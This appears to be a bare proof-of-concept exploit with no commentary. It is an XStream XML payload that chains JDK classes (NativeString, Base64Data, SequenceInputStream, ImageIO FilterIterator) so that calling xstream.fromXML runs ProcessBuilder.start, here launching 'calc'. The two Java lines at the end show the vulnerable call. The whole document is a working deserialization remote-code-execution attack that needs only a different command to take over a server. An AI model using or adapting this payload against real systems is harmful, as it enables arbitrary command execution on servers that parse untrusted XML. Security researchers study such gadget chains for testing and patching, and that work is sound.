<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

XStream xstream = new XStream();
xstream.fromXML(xml);